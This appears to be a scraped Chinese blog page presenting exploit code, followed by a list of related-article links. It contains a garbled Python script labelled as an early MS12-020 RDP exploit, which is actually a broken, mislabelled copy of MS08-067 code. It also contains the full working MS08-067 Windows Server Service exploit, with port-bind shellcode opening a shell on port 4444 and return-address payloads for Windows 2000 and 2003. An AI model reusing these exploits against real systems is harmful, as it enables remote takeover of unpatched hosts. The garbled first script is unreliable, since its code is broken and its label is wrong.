'\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e'payload += '\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51'payload += '\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64'payload += '\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37'payload += '\x41\x6b\x70\x7a\x53\x6e\x4a\x69\x6e\x32\x62\x46\x4d\x6b\x4e\x70'payload += '\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e'payload += '\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73'payload += '\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61'payload += '\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78'payload += '\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e'payload += '\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30'payload += '\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b'payload += '\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b'payload += '\x4f\x69\x46\x4b\x4f\x6e\x30\x68';class SRVSVC_Exploit(Thread): def __init__(self, target, port=3389): super(SRVSVC_Exploit, self).__init__() self.__port = port self.target = target def __DCEPacket(self): print '[-]Connecting' self.__trans = rdp.transport.cert('rdp_np:%s\\x00\\x89]' % self.target) self.__trans.connect() print '[-]connected' % self.target # Making teh packet self.__stub='\x01\x00\x00\x00' self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' self.__stub+=shellcode self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x00\x00\x00\x00' self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' self.__stub+=payload self.__stub+='\x00\x00\x00\x00' self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00' self.__stub+='\x01\x00\x00\x00\x90\x90\xb0\x53\x6b\xC0\x28\x03\xd8\xff\xd3' return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) print '[-]Exploit successfull!...\nTelnet to port 4444 on target machine.'if __name__ == '__main__': target = sys.argv[1] print '\nUsage: %s <target ip> \n' % sys.argv[0] sys.exit(-1)current = SRVSVC_Exploit(target)current.start()
早期ms12-020 exp py
====================================================================MS Windows Server Service Code Execution Exploit (MS08-067) (2k/2k3)====================================================================#!/usr/bin/env python############################################################################## MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)# www.hackingspirits.com# www.coffeeandsecurity.com# Email: d3basis.m0hanty @ gmail.com#############################################################################import structimport sysfrom threading import Thread #Thread is imported incase you would like to modify #the src to run against multiple targets.try: from impacket import smb from impacket import uuid from impacket.dcerpc import dcerpc from impacket.dcerpc import transportexcept ImportError, _: print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys.exit(1)print '#######################################################################'print '# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'print '# www.hackingspirits.com'print '# www.coffeeandsecurity.com'print '# Email: d3basis.m0hanty @ gmail.com'print '#######################################################################\n'#Portbind shellcode from metasploit; Binds port to TCP port 4444shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"#Payload for Windows 2000 targetpayload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'payload_1+='\x41\x41'payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'payload_1+='\xeb\xcc'payload_1+='\x00\x00'#Payload for Windows 2003[SP2] targetpayload_2='\x41\x00\x5c\x00'payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'if sys.argv[2]=='1': #Windows 2000 Payload payload=payload_1 print '[-]Windows 2000 payload loaded'if sys.argv[2]=='2': #Windows 2003[SP2] Payload payload=payload_2 print '[-]Windows 2003[SP2] payload loaded'class SRVSVC_Exploit(Thread): def __init__(self, target, osver, port=445): super(SRVSVC_Exploit, self).__init__() self.__port = port self.target = target self.osver = osver def __DCEPacket(self): print '[-]Initiating connection' self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) self.__trans.connect() print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target self.__dce = self.__trans.DCERPC_class(self.__trans) self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) # Constructing Malicious Packet self.__stub='\x01\x00\x00\x00' self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' self.__stub+=shellcode self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x00\x00\x00\x00' self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' self.__stub+=payload self.__stub+='\x00\x00\x00\x00' self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00' self.__stub+='\x01\x00\x00\x00' return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) #0x1f (or 31)- NetPathCanonicalize Operation print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'if __name__ == '__main__': try: target = sys.argv[1] osver = sys.argv[2] except IndexError: print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0] print 'Example: srvsvcexpl.py 192.168.1.1 2\n' print 'Select OS Version' print '[-]Windows 2000: OS Version = 1' print '[-]Windows 2003[SP2]: OS Version = 2' sys.exit(-1)current = SRVSVC_Exploit(target, osver)current.start()#print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'
- MS12-020 漏洞利用程序
- MS12-020 远程桌面漏洞
- Metasploit利用远程桌面协议RDP拒绝访问漏洞(MS12-020)
- 使用metasploit(MSF)对windows的ms12-020漏洞进行利用的过程
- MS12-020远程桌面协议RDP拒绝访问漏洞
- 利用MS12-020进行的一次简单渗透测试
- MS12-020:远程桌面中的漏洞可能允许远程代码执行:2012 年 3 月 13 日
- Microsoft远程桌面协议RDP远程代码可执行漏洞(CVE-2012-0002)(MS12-020)
- Metasploit(MS12-020)
- discuz最新漏洞利用程序
- shop363网站程序漏洞利用
- 网络安全:MS12-020测试工具
- MS12-043(CVE-2012-1889)漏洞分析报告
- OpenSSL 漏洞利用程序脚本 POC
- 如何寻找WEB程序漏洞及如何利用和防范
- 如何寻找WEB程序漏洞,及如何利用和防范
- 金梅电影系统的注入漏洞利用程序
- 怎样写远程缓冲区溢出漏洞利用程序
- c++内置数据类型的取值范围和大小总结
- CATransform3DMakeRotation 旋转,翻转
- (转)检测计算机的 Internet 连接状态(InternetCheckConnection与InternetQueryOption)
- java学习笔记(三)
- Java中属性文件(*.properties)转码为UTF-8
- MS12-020 漏洞利用程序
- 类型“GridView”的控件“GridView1”必须放在具有 runat=server 的窗体标记内的解决办法。
- DRP项目中的那些业务
- PLSQL select into 为空的时候 语句容易报错的处理方法
- java.sql.SQLException: ORA-28000: 帐户已被锁定
- 栈模板
- /bin/bash^M: bad interpreter: No such file or directory
- 了解TCP-IP参考模型
- SS2H、easyUI 、ireport 问题!!!